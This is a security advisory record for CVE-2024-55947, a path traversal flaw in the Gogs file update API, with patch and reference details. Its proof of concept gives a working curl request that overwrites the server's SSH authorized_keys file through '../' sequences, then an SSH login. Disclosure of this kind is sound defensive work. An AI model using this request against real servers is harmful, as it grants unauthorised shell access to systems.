{"id":"CVE-2024-55947","aliases":["GHSA-qf5v-rp47-55gg","GO-2024-3356"],"url":"https://o3.security/vulnerability/CVE-2024-55947","summary":"Gogs has a Path Traversal in file update API","details":"### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"<base64encoded: your ssh pub key>\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","published":"2024-12-23T15:26:47.507Z","modified":"2026-08-12T03:51:23.006364171Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"gogs.io/gogs","fixedVersion":"0.13.1"}],"fix":{"url":"https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41","label":"gogs/gogs@9a9388a"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/55xxx/CVE-2024-55947.json"},{"type":"ADVISORY","url":"https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-55947"},{"type":"REPORT","url":"https://github.com/gogs/gogs/issues/7582"},{"type":"FIX","url":"https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41"},{"type":"FIX","url":"https://github.com/gogs/gogs/pull/7859"},{"type":"PACKAGE","url":"https://github.com/gogs/gogs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.006364171Z"}}